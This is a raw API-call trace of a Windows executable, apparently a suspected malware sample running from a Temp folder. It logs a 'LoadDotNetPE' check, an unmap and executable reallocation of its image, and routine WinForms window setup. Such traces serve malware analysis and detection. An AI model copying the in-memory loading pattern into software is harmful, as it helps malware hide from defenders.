[0147.007] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f198, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ") returned 256
[0147.007] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ", cchWideChar=256, lpMultiByteStr=0x18fa4c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84
\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84
\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84
\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿCRHv\x88ý\x18", lpUsedDefaultChar=0x0) returned 256
[0147.007] RtlInitializeSListHead (in: ListHead=0x398b0 | out: ListHead=0x398b0)
[0147.008] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1
[0147.008] GetEnvironmentStringsW () returned 0x5e8e98*
[0147.008] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381
[0147.008] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x5e9970, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381
[0147.008] FreeEnvironmentStringsW (penv=0x5e8e98) returned 1
[0147.009] GetModuleFileNameW (in: hModule=0x20000, lpFilename=0x18fc30, nSize=0x104 | out: lpFilename="\n" (normalized: "c:\\windows\\system32\\\n")) returned 0x0
[0147.009] strcmp (_Str1="LoadDotNetPE", _Str2="LoadDotNetPE") returned 0
[0147.028] UnmapViewOfFile (lpBaseAddress=0x400000) returned 1
[0147.030] VirtualAlloc (lpAddress=0x400000, dwSize=0x38000, flAllocationType=0x3000, flProtect=0x40) returned 0x400000
[0150.459] GetVersionExW (in: lpVersionInformation=0x60b948*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x60b948*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1
[0150.459] GetLastError () returned 0x0
[0150.459] GetVersionExW (in: lpVersionInformation=0x60b948*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x60b948*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1
[0150.459] GetLastError () returned 0x0
[0150.602] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5P5NRG~1\\", lpszLongPath=0x18ecc0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned 0x1e
[0150.603] GetLastError () returned 0x0
[0150.616] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", nBufferLength=0x105, lpBuffer=0x18ece8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpFilePart=0x0) returned 0x31
[0150.616] GetLastError () returned 0x0
[0150.628] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0152.803] SafeArrayAccessData (in: psa=0x60b228, ppvData=0x18fe8c | out: ppvData=0x18fe8c) returned 0x0
[0152.803] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
[0152.804] SafeArrayUnaccessData (psa=0x60b228) returned 0x0
[0153.030] SafeArrayGetDim (psa=0x60b228) returned 0x1
[0153.030] SafeArrayGetDim (psa=0x60b228) returned 0x1
[0153.030] SafeArrayGetLBound (in: psa=0x60b228, nDim=0x1, plLbound=0x18f520 | out: plLbound=0x18f520) returned 0x0
[0153.030] SafeArrayGetVartype (in: psa=0x60b228, pvt=0x18f4f8 | out: pvt=0x18f4f8) returned 0x0
[0161.366] _finite (_X=0x0) returned 1
[0161.812] RegisterClipboardFormatW (lpszFormat="WM_GETCONTROLNAME") returned 0xc132
[0161.812] RegisterClipboardFormatW (lpszFormat="WM_GETCONTROLTYPE") returned 0xc135
[0161.816] GetSystemMetrics (nIndex=75) returned 1
[0161.899] AdjustWindowRectEx (in: lpRect=0x18ed7c, dwStyle=0x56cf0000, bMenu=0, dwExStyle=0x50001 | out: lpRect=0x18ed7c) returned 1
[0161.901] GetCurrentProcess () returned 0xffffffff
[0161.901] GetCurrentThread () returned 0xfffffffe
[0161.901] GetCurrentProcess () returned 0xffffffff
[0161.901] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xfffffffe, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x18ecac, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x18ecac*=0x1a4) returned 1
[0161.902] GetLastError () returned 0x0
[0161.902] GetCurrentThreadId () returned 0xafc
[0161.906] lstrlenW (lpString="䅁") returned 1
[0161.908] GetModuleHandleW (lpModuleName="user32.dll") returned 0x763e0000
[0161.909] GetProcAddress (hModule=0x763e0000, lpProcName="DefWindowProcW") returned 0x77e625dd
[0161.910] GetStockObject (i=5) returned 0x1900015
[0161.910] GetLastError () returned 0x0
[0161.913] GetModuleHandleW (lpModuleName=0x0) returned 0x400000
[0161.915] CoTaskMemAlloc (cb=0x4c) returned 0x64f130
[0161.915] RegisterClassW (lpWndClass=0x6126a0) returned 0xc13b
[0161.915] GetLastError () returned 0x0
[0161.915] CoTaskMemFree (pv=0x64f130)
[0161.916] GetModuleHandleW (lpModuleName=0x0) returned 0x400000
[0161.916] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.Window.8.app.0.378734a", lpWindowName=0x0, dwStyle=0x2010000, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0xfffffffd, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x1401a6
[0161.918] SetWindowLongW (hWnd=0x1401a6, nIndex=-4, dwNewLong=2011571677) returned 5866386
[0161.918] GetWindowLongW (hWnd=0x1401a6, nIndex=-4) returned 2011571677
[0161.921] GetVersionExW (in: lpVersionInformation=0x6126c0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x6126c0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1
[0161.921] GetLastError () returned 0x0
[0161.922] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\.NETFramework", ulOptions=0x0, samDesired=0x20019, phkResult=0x18e3a0 | out: phkResult=0x18e3a0*=0x1a8) returned 0x0
[0161.924] RegQueryValueExW (in: hKey=0x1a8, lpValueName="DbgJITDebugLaunchSetting", lpReserved=0x0, lpType=0x18e3e8, lpData=0x0, lpcbData=0x18e3e4*=0x0 | out: lpType=0x18e3e8*=0x0, lpData=0x0, lpcbData=0x18e3e4*=0x0) returned 0x2
[0161.924] RegQueryValueExW (in: hKey=0x1a8, lpValueName="DbgManagedDebugger", lpReserved=0x0, lpType=0x18e3e8, lpData=0x0, lpcbData=0x18e3e4*=0x0 | out: lpType=0x18e3e8*=0x0, lpData=0x0, lpcbData=0x18e3e4*=0x0) returned 0x2
[0161.924] RegCloseKey (hKey=0x1a8) returned 0x0
[0161.927] SetWindowLongW (hWnd=0x1401a6, nIndex=-4, dwNewLong=5866706) returned 2011571677
[0161.927] GetWindowLongW (hWnd=0x1401a6, nIndex=-4) returned 5866706
[0161.927] GetWindowLongW (hWnd=0x1401a6, nIndex=-16) returned 113311744
[0161.927] RegisterClipboardFormatW (lpszFormat="WinFormsMouseEnter") returned 0xc121
[0161.928] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x1401a6, Msg=0x24, wParam=0x0, lParam=0x18e67c) returned 0x0
[0161.928] RegisterClipboardFormatW (lpszFormat="WinFormsUnSubclass") returned 0xc133
[0161.928] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x1401a6, Msg=0x81, wParam=0x0, lParam=0x18e670) returned 0x1
[0161.929] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x1401a6, Msg=0x83, wParam=0x0, lParam=0x18e65c) returned 0x0
[0161.929] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x1401a6, Msg=0x1, wParam=0x0, lParam=0x18e670) returned 0x0
[0161.930] GetClientRect (in: hWnd=0x1401a6, lpRect=0x18e3ec | out: lpRect=0x18e3ec) returned 1
[0161.930] GetWindowRect (in: hWnd=0x1401a6, lpRect=0x18e3ec | out: lpRect=0x18e3ec) returned 1
[0161.930] GetLastError () returned 0x7f
[0161.931] GetParent (hWnd=0x1401a6) returned 0x0
[0161.944] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Windows.Forms\\2.0.0.0__b77a5c561934e089\\System.Windows.Forms.dll", nBufferLength=0x105, lpBuffer=0x18e88c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Windows.Forms\\2.0.0.0__b77a5c561934e089\\System.Windows.Forms.dll", lpFilePart=0x0) returned 0x64
[0161.944] GetLastError () returned 0x7f
[0161.961] IsAppThemed () returned 0x1
[0161.962] CoTaskMemAlloc (cb=0xca) returned 0x647e40
[0161.962] CreateActCtxA (pActCtx=0x612688) returned 0x6640ac
[0162.028] CoTaskMemFree (pv=0x647e40)
[0162.067] GetCurrentActCtx (in: lphActCtx=0x18f288 | out: lphActCtx=0x18f288*=0x0) returned 1
[0162.068] ActivateActCtx (in: hActCtx=0x6640ac, lpCookie=0x18f29c | out: hActCtx=0x6640ac, lpCookie=0x18f29c) returned 1
[0162.068] GetCurrentActCtx (in: lphActCtx=0x18f0c8 | out: lphActCtx=0x18f0c8*=0x6640ac) returned 1
[0162.069] GetModuleHandleW (lpModuleName=0x0) returned 0x400000
[0162.069] CreateWindowExW (dwExStyle=0x10000, lpClassName="WindowsForms10.Window.8.app.0.378734a", lpWindowName=0x0, dwStyle=0x22cf0000, X=-2147483648, Y=-2147483648, nWidth=300, nHeight=300, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x301b6
[0162.070] SetWindowLongW (hWnd=0x301b6, nIndex=-4, dwNewLong=2011571677) returned 5866386
[0162.070] GetWindowLongW (hWnd=0x301b6, nIndex=-4) returned 2011571677
[0162.070] SetWindowLongW (hWnd=0x301b6, nIndex=-4, dwNewLong=5866754) returned 2011571677
[0162.070] GetWindowLongW (hWnd=0x301b6, nIndex=-4) returned 5866754
[0162.070] GetWindowLongW (hWnd=0x301b6, nIndex=-16) returned 651100160
[0162.070] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x301b6, Msg=0x81, wParam=0x0, lParam=0x18eb2c) returned 0x1
[0162.071] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x301b6, Msg=0x83, wParam=0x0, lParam=0x18eb18) returned 0x0
[0162.072] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x301b6, Msg=0x1, wParam=0x0, lParam=0x18eb2c) returned 0x0
[0162.072] GetClientRect (in: hWnd=0x301b6, lpRect=0x18e870 | out: lpRect=0x18e870) returned 1
[0162.073] GetWindowRect (in: hWnd=0x301b6, lpRect=0x18e870 | out: lpRect=0x18e870) returned 1
[0162.073] GetWindowTextLengthW (hWnd=0x301b6) returned 0
[0162.073] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x301b6, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0
[0162.073] GetSystemMetrics (nIndex=42) returned 0
[0162.074] GetWindowTextW (in: hWnd=0x301b6, lpString=0x6126a8, nMaxCount=1 | out: lpString="") returned 0
[0162.074] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x301b6, Msg=0xd, wParam=0x1, lParam=0x6126a8) returned 0x0
[0162.120] GetProcessWindowStation () returned 0x4c
[0162.121] GetUserObjectInformationA (in: hObj=0x4c, nIndex=1, pvInfo=0x22fa244, nLength=0xc, lpnLengthNeeded=0x18e770 | out: pvInfo=0x22fa244, lpnLengthNeeded=0x18e770) returned 1
[0162.121] GetLastError () returned 0x0
[0162.124] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x1b0
[0162.125] GetLastError () returned 0x0
[0162.304] GetStartupInfoW (in: lpStartupInfo=0x22fab0c | out: lpStartupInfo=0x22fab0c*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\hSbFTsTClaogdEEotf.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0))
[0162.304] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x301b6, Msg=0x46, wParam=0x0, lParam=0x18eb40) returned 0x0
[0162.304] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x301b6, Msg=0x83, wParam=0x1, lParam=0x18eb18) returned 0x0
[0162.305] GetWindowPlacement (in: hWnd=0x301b6, lpwndpl=0x18e900 | out: lpwndpl=0x18e900) returned 1
[0162.306] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x301b6, Msg=0x47, wParam=0x0, lParam=0x18eb40) returned 0x0
[0162.306] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x301b6, Msg=0x3, wParam=0x0, lParam=0x83008300) returned 0x0
[0162.306] GetClientRect (in: hWnd=0x301b6, lpRect=0x18e3ec | out: lpRect=0x18e3ec) returned 1
[0162.306] GetWindowRect (in: hWnd=0x301b6, lpRect=0x18e3ec | out: lpRect=0x18e3ec) returned 1
[0162.306] GetWindowTextLengthW (hWnd=0x301b6) returned 0
[0162.306] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x301b6, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0
[0162.306] GetSystemMetrics (nIndex=42) returned 0
[0162.306] GetWindowTextW (in: hWnd=0x301b6, lpString=0x6126a8, nMaxCount=1 | out: lpString="") returned 0
[0162.306] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x301b6, Msg=0xd, wParam=0x1, lParam=0x6126a8) returned 0x0
[0162.306] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x301b6, Msg=0x5, wParam=0x1, lParam=0x0) returned 0x0
[0162.306] GetClientRect (in: hWnd=0x301b6, lpRect=0x18e89c | out: lpRect=0x18e89c) returned 1
[0162.306] GetWindowRect (in: hWnd=0x301b6, lpRect=0x18e89c | out: lpRect=0x18e89c) returned 1
[0162.306] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x301b6, Msg=0xd, wParam=0x104, lParam=0x451c5e0) returned 0x0
[0162.306] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x301b6, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x0
[0162.306] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x301b6, Msg=0x7f, wParam=0x0, lParam=0x0) returned 0x0
[0162.307] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x301b6, Msg=0x7f, wParam=0x1, lParam=0x0) returned 0x0
[0162.307] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x301b6, Msg=0x83, wParam=0x1, lParam=0x18e724) returned 0x0
[0162.308] GetLastError () returned 0x0
[0162.308] GetParent (hWnd=0x301b6) returned 0x0
[0162.334] GetStockObject (i=5) returned 0x1900015
[0162.334] GetLastError () returned 0x0
[0162.334] GetModuleHandleW (lpModuleName=0x0) returned 0x400000
[0162.334] CoTaskMemAlloc (cb=0x4c) returned 0x64f130
[0162.334] RegisterClassW (lpWndClass=0x6126a0) returned 0xc136
[0162.334] GetLastError () returned 0x0
[0162.334] CoTaskMemFree (pv=0x64f130)
[0162.335] GetModuleHandleW (lpModuleName=0x0) returned 0x400000
[0162.335] CreateWindowExW (dwExStyle=0x80, lpClassName="WindowsForms10.Window.0.app.0.378734a", lpWindowName=0x0, dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x6012c
[0162.335] SetWindowLongW (hWnd=0x6012c, nIndex=-4, dwNewLong=2011571677) returned 5867162
[0162.335] GetWindowLongW (hWnd=0x6012c, nIndex=-4) returned 2011571677
[0162.335] SetWindowLongW (hWnd=0x6012c, nIndex=-4, dwNewLong=5867210) returned 2011571677
[0162.335] GetWindowLongW (hWnd=0x6012c, nIndex=-4) returned 5867210
[0162.335] GetWindowLongW (hWnd=0x6012c, nIndex=-16) returned 79691776
[0162.336] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x6012c, Msg=0x24, wParam=0x0, lParam=0x18eb64) returned 0x0
[0162.336] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x6012c, Msg=0x81, wParam=0x0, lParam=0x18eb58) returned 0x1
[0162.337] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x6012c, Msg=0x83, wParam=0x0, lParam=0x18eb44) returned 0x0
[0162.337] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x6012c, Msg=0x1, wParam=0x0, lParam=0x18eb58) returned 0x0
[0162.337] GetLastError () returned 0x0
[0162.337] SetWindowLongW (hWnd=0x301b6, nIndex=-8, dwNewLong=393516) returned 0
[0162.345] GetSystemMetrics (nIndex=11) returned 32
[0162.345] GetLastError () returned 0x0
[0162.346] GetSystemMetrics (nIndex=12) returned 32
[0162.346] GetLastError () returned 0x0
[0162.347] GetDC (hWnd=0x0) returned 0x1d010199
[0162.347] GetLastError () returned 0x0
[0162.348] GetDeviceCaps (hdc=0x1d010199, index=12) returned 32
[0162.348] GetLastError () returned 0x0
[0162.348] GetDeviceCaps (hdc=0x1d010199, index=14) returned 1
[0162.348] GetLastError () returned 0x0
[0162.349] ReleaseDC (hWnd=0x0, hDC=0x1d010199) returned 1
[0162.349] GetLastError () returned 0x0
[0162.350] CreateIconFromResourceEx (presbits=0x22fd9f0, dwResSize=0x10a8, fIcon=1, dwVer=0x30000, cxDesired=0, cyDesired=0, Flags=0x0) returned 0x90199
[0162.350] GetLastError () returned 0x0
[0162.350] GetSystemMetrics (nIndex=49) returned 16
[0162.350] GetSystemMetrics (nIndex=50) returned 16
[0162.350] CreateIconFromResourceEx (presbits=0x22feacc, dwResSize=0x468, fIcon=1, dwVer=0x30000, cxDesired=0, cyDesired=0, Flags=0x0) returned 0x90189
[0162.351] GetLastError () returned 0x0
[0162.351] SendMessageW (hWnd=0x301b6, Msg=0x80, wParam=0x0, lParam=0x90189) returned 0x0
[0162.351] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x301b6, Msg=0x80, wParam=0x0, lParam=0x90189) returned 0x0
[0162.351] SendMessageW (hWnd=0x301b6, Msg=0x80, wParam=0x1, lParam=0x90199) returned 0x0
[0162.351] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x301b6, Msg=0x80, wParam=0x1, lParam=0x90199) returned 0x0
[0162.352] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x301b6, Msg=0xd, wParam=0x104, lParam=0x451c5e0) returned 0x0
[0162.352] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x301b6, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x90189
[0162.352] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x301b6, Msg=0xd, wParam=0x104, lParam=0x451c658) returned 0x0
[0162.352] GetSystemMenu (hWnd=0x301b6, bRevert=0) returned 0xb00b1
[0162.353] GetWindowPlacement (in: hWnd=0x301b6, lpwndpl=0x18f0d8 | out: lpwndpl=0x18f0d8) returned 1
[0162.354] EnableMenuItem (hMenu=0xb00b1, uIDEnableItem=0xf020, uEnable=0x1) returned 0
[0162.354] EnableMenuItem (hMenu=0xb00b1, uIDEnableItem=0xf030, uEnable=0x0) returned 0
[0162.354] EnableMenuItem (hMenu=0xb00b1, uIDEnableItem=0xf060, uEnable=0x0) returned 0
[0162.354] EnableMenuItem (hMenu=0xb00b1, uIDEnableItem=0xf120, uEnable=0x0) returned 0
[0162.354] EnableMenuItem (hMenu=0xb00b1, uIDEnableItem=0xf000, uEnable=0x1) returned 0
[0162.354] SetWindowLongW (hWnd=0x301b6, nIndex=-8, dwNewLong=393516) returned 393516
[0162.354] SendMessageW (hWnd=0x6012c, Msg=0x80, wParam=0x1, lParam=0x90199) returned 0x0
[0162.355] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x6012c, Msg=0x80, wParam=0x1, lParam=0x90199) returned 0x0
[0162.355] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x6012c, Msg=0xd, wParam=0x104, lParam=0x451c658) returned 0x0
[0162.355] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x6012c, Msg=0xd, wParam=0x104, lParam=0x451c658) returned 0x0
[0162.355] GetWindowLongW (hWnd=0x301b6, nIndex=-16) returned 651100160
[0162.355] GetWindowTextLengthW (hWnd=0x301b6) returned 0
[0162.355] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x301b6, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0
[0162.355] GetSystemMetrics (nIndex=42) returned 0
[0162.355] GetWindowTextW (in: hWnd=0x301b6, lpString=0x612688, nMaxCount=1 | out: lpString="") returned 0
[0162.355] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x301b6, Msg=0xd, wParam=0x1, lParam=0x612688) returned 0x0
[0162.355] GetWindowTextLengthW (hWnd=0x301b6) returned 0
[0162.355] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x301b6, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0
[0162.356] GetSystemMetrics (nIndex=42) returned 0
[0162.356] GetWindowTextW (in: hWnd=0x301b6, lpString=0x612688, nMaxCount=1 | out: lpString="") returned 0
[0162.356] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x301b6, Msg=0xd, wParam=0x1, lParam=0x612688) returned 0x0
[0162.356] GetWindowLongW (hWnd=0x301b6, nIndex=-16) returned 651100160
[0162.356] GetWindowLongW (hWnd=0x301b6, nIndex=-20) returned 65792
[0162.356] SetWindowLongW (hWnd=0x301b6, nIndex=-16, dwNewLong=583991296) returned 651100160
[0162.356] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x301b6, Msg=0x7c, wParam=0xfffffff0, lParam=0x18f04c) returned 0x0
[0162.356] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x301b6, Msg=0x7d, wParam=0xfffffff0, lParam=0x18f04c) returned 0x0
[0162.356] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x301b6, Msg=0xd, wParam=0x104, lParam=0x451c658) returned 0x0
[0162.356] SetWindowLongW (hWnd=0x301b6, nIndex=-20, dwNewLong=65536) returned 65792
[0162.356] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x301b6, Msg=0x7c, wParam=0xffffffec, lParam=0x18f04c) returned 0x0
[0162.356] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x301b6, Msg=0x7d, wParam=0xffffffec, lParam=0x18f04c) returned 0x0
[0162.356] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x301b6, Msg=0xd, wParam=0x104, lParam=0x451c658) returned 0x0
